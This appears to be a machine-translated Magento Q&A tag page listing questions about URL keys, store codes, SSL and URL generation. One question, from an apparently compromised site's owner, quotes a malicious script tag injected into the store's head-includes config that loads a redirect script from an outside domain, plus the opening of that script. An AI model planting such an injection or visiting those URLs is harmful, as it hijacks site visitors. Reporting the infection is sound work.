Questions tagged «url»

表示有关URL问题和自定义URL的问题。

5
使用产品商店视图范围的URL密钥的商店开关上的404
默认情况下URL Key,产品页面上的“全局范围”。 编辑: 如FlorinelChis所建议,范围可以是“管理”属性中的更改。但是,这破坏了商店视图切换器的行为。 这已在1.7.0.2上经过测试,并带有示例数据并启用了“将商店代码添加到URL”: 编辑产品并为特定的商店视图(法语)设置其他网址 重新索引 在英语商店视图中打开网站上的产品页面 切换为法语:您将拥有页面URL包含 /French/ 切换回英语-> 404页面错误(网址缺少商店代码 /default/ 如何使其与商店视图/语言开关一起正常工作? 细节: 英文网址: /default/sony-vaio-vgn-txn27n-b-11-1-notebook-pc.html 法语的网址: /french/sony-vaio-vgn-txn27n-b-11-1-notebook-pc-french.html 如果我在此页面上的英语网站上-> /default/sony-vaio-vgn-txn27n-b-11-1-notebook-pc.html 然后我改用法语: 我得到了这个URL(商店代码丢失了): MAGEDOMAIN/sony-vaio-vgn-txn27n-b-11-1-notebook-pc-french.html 所以magento正确地重写了url,但是由于某种原因错过了商店代码 参考: 当然,这与/core/model/store.php和有关/core/model/url/rewrite.php,尤其是与那些方法有关: Mage_Core_Model_Url_Rewrite::rewrite Mage_Core_Model_Store::getCurrentUrl 更新 如果您使用的是1.9.1 @Vinai修复程序将无法正常工作,请检查我添加的新答案

1
如何使我的自定义模块页面使用SSL?
我已经创建了一个包含一些页面的模块,并且想知道如何强制该页面在URL上使用SSL,例如客户登录页面。并非所有页面都需要它,但是有些页面需要。 我想到的(尽管我还没有尝试过)是评估动作控制器中的URL并重定向到https://是否在magento config中启用了SSL且当前URL未使用它。 这种方法正确吗?还是这种设置进入配置文件?

3
如何在Magento 2中使用getUrl()函数
我可以在Magento2中使用$ this->直接调用Mage :: getUrl()吗? 如何在Magento2中使用以下代码? $link = Mage::getUrl('*/*/*', array('_current'=>true, '_use_rewrite'=>true, '_query'=>$this_params));
11 magento2  url 

6
Magento2-通过ID获取类别URL
我正在尝试获取具有ID的任何给定类别的URL密钥。我有这个; $categoryId = 3; $_objectManager = \Magento\Framework\App\ObjectManager::getInstance(); $object_manager = $_objectManager->create('Magento\Catalog\Model\Category')->load($categoryId); print_r($object_manager->getData()); 这样就可以了(在print_r中有我需要的URL密钥),但是类别#3是顶级类别。每当我尝试任何子类别(例如ID 5)时,我都会得到一个空白数组。我只是迷失了语言,无法弄清楚。 在Magento 1.x中,我曾经这样做:Mage::getModel('catalog/category')->load($catID)->getUrl()并且有效。 TL; DR:此代码工作,更改ID为(正确)类别ID和更改getData()到getUrl()了品类齐全的URL,或getName()为类别名称。

3
CLI中的MAGE_DIRS引导程序参数
在中pub/index.php,以下代码用于为媒体和静态资产设置更改URL以省略“ / pub”: $params[Bootstrap::INIT_PARAM_FILESYSTEM_DIR_PATHS] = [ DirectoryList::PUB => [DirectoryList::URL_PATH => ''], DirectoryList::MEDIA => [DirectoryList::URL_PATH => 'media'], DirectoryList::STATIC_VIEW => [DirectoryList::URL_PATH => 'static'], DirectoryList::UPLOAD => [DirectoryList::URL_PATH => 'media/upload'], ]; $bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params); 不幸的是,在CLI脚本(bin/magento)中没有这样的东西。 我Magento\Setup\Mvc\Bootstrap\InitParamListener用以下代码找到了该类: $initParams = $application->getServiceManager()->get(self::BOOTSTRAP_PARAM); $directoryList = $this->createDirectoryList($initParams); 但是我不知道这个Zend Service Manager在哪里检索数据以及如何影响它。 我的具体问题是,索引器必须生成完整的URL,并且当前这样做的地方就像http://magento.local/pub/media/...我需要的那样http://magento.local/media/... 如何告诉CLI虚拟主机指向的pub“发布”不应该是URL的一部分? 理想情况下,该方法无需依赖其他CLI参数或环境变量即可工作。

3
为什么magento产品网址重复
我正在使用magento 1.7。我面临着奇怪的问题。magento使用错误的网址密钥制作带有随机数的重复产品网址,请附上我的屏幕截图 我也清空了表rewrite_urls并重新索引了URL,但是仍然我得到了错误的URL。请帮助我解决这个问题。如果您无法查看有问题的图像,请单击重复的产品网址和管理面板中的产品的链接 , 让我用例子来了解你 就像我有一个名为“ example”的产品,URL键是“ example”一样,网址将是 www.example.com/example 现在我已经创建了新产品“ xyz,URL键是“ xyz”,URL应该是 www.example.com/xyz 但是magento会产生网址 www.example.com/example-123

7
网站开始重定向到另一个URL
Maybe it's infected by some virus. 我的网站开始重定向到这些受感染的URL。 http://mon.setsu.xyz 和一段时间https://tiphainemollard.us/index/?1371499155545 感染的链接 我要解决的问题。 .htaccess文件已注释(什么都没有发生) 已评论包含文件夹(什么都没有发生) 扫描了完整的服务器(没有任何反应,没有发现病毒恶意软件) 更改了数据库中的CSS,媒体和js路径,只是为了确保其PHP或任何js都在做(没有任何反应) select * from core_config_data where path like '%secure%';所有链接都可以 更新 我用谷歌搜索,并写了许多文章,但他们认为这是浏览器问题或我的系统被感染了。 即使我在手机或个人笔记本电脑上打开网站,有关此问题的文章也一样。 更新2 我在数据库中找到了受影响的行。(正如鲍里斯·K(Boris K.)还说的) 在core_config_data 表 design/head/includes 值中有一个 <script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script> 将在页面加载时将其插入头部。 如果您访问上述URL,您将获得重定向脚本,该脚本是 var redirChrome; var isToChrome = document.currentScript.getAttribute('data-type'); if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") …


3
根据上下文使用安全URL
我熟悉使用各种方法根据上下文生成安全的URL,即: $this->getUrl('my-page', array('_forced_secure' => $this->getRequest()->isSecure())); 这对于构建在安全模式下将直接定向到安全页面的链接非常有用(如果不使用安全模式,则仅链接到非安全页面)。 我要解决的问题是Magento仅将一些特殊页面视为需要安全处理(客户帐户,结帐等)。我更希望Magento 在用户当前处于安全模式时始终使用安全链接,或者在用户处于非安全模式时使用非安全链接。 据我所知,我唯一真正的选择是: 修改的每个实例,$this->getUrl()使其与上面的代码段相似。 设置非安全base_url以使用HTTPS,强制所有页面安全。 有没有一种更好的方法,而不必$this->getUrl()考虑无论用户的上下文如何,都不必更改对每个页面的调用或将所有页面强制转换为HTTPS? -编辑- 我知道我可以修改/app/code/core/Mage/Core/Model/Url.php->setRouteParams()方法,尽管我希望有一种更干净的方法。
9 url  https 

4
Magento 2:仅针对默认商店删除URL中的商店代码
我们在2种语言中运行magento 2多层商店,其中默认商店视图为德语。网上商店也有法语版本。商店代码将添加到以下URL: www.domain.at www.domain.at/de www.domain.at/fr 当涉及到SEO时,我们会遇到内容重复的问题,因为默认存储区可以使用AND,而在中没有存储区代码URL。以下网址显示了相同的内容: www.domain.at/de www.domain.at/ 实际上,对于magento 1,我们需要像此处一样的行为:Magento从网址中删除“默认”商店代码 有人知道如何解决此问题吗?

3
如何从后端获取产品的前端URL?
我正在开发Magento 2的扩展。我需要从后端获取产品的前端URL。我尝试使用: //$storeManager->->setCurrentStore(2); $url = $product->setStoreId(2)->getProductUrl(); $url = $product->setStoreId(2)->getUrlInStore(); 但$url总是返回后端网址,例如http://<domain>/admin/catalog/product....。它们可能适用于Magento 1.x,但不适用于2.x。有什么办法获取前端网址?

2
获取静态内容文件夹的URL(用于后端)
在用于在管理面板中呈现按钮的块类中,如何获取静态内容文件夹的URL?具体来说,带有图片的文件夹的URL是? 例如,在Company_Helloworld模块中,自定义按钮的图像位于以下位置: 应用程序/代码/公司/ Helloworld / view / adminhtml / web / images / 测试1 我尝试了这个: $url = $this->getViewFileUrl('Company_Helloworld::images/icon.png'); 但是它尝试从Magento/backend主题中检索图像: http://example.com/pub/static/adminhtml/Magento/backend/zh_CN/Company_Helloworld/images/icon.png 当图像不存在时,图像实际上在模块的文件夹中: app / code / Company / Helloworld / view / adminhtml / web / images / icon.png 测试2 和这个: $url = $this->getViewFileUrl('images/icon.png'); 但它也尝试从Magento/backend主题中检索图像,这次没有模块上下文: http://example.com/pub/static/adminhtml/Magento/backend/zh_CN/images/icon.png 有什么方法可以将图像放置在模块中而不是后端主题中?


2
在magento管理员url中,单词“ admin”出现两次。如何删除第二个?
我的客户的管理网址是这样的情况; http://www.example.com/index.php/admin/admin/dashboard/index/key/0981a6bd2f5a06fec85d3c9e297849a0/ 单词admin出现两次,如何将其删除。我检查了app / etc / local.xml,在magento admin-> system-> configuration-> admin中,默认设置没有更改。 注意:我在stackoverflow.com上问了同样的问题,但是3天内没有得到任何答案,这就是为什么我在这里重新张贴了它。

4
一律显示完整的URL,包括产品类别
对于我们的Magento网上商店(1.7.0.2),我们正在尝试优化URL结构。我们已经设法改善了某些方面,但是其中一项没有成功。我们想为我们所有的产品使用完整的URL(包括类别)。例如: www.website.com/products/best-products/product 或:类别页面的www.website.com/products/best-products 在浏览类别和使用面包屑时,此方法工作正常,但在搜索时则无效。然后,它总是使用www.website.com/product作为URL,这很可能是因为产品可以属于多个类别,并且它不知道在搜索结果中使用哪个类别。 有办法强制吗?要使其以某种方式使用“第一”类别,甚至使其使用您可以选择的某些默认类别?我是一名开发人员,所以我愿意对代码进行更改,但前提是没有其他/更可靠的方法。欢迎任何提示或技巧,在此先多谢!

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.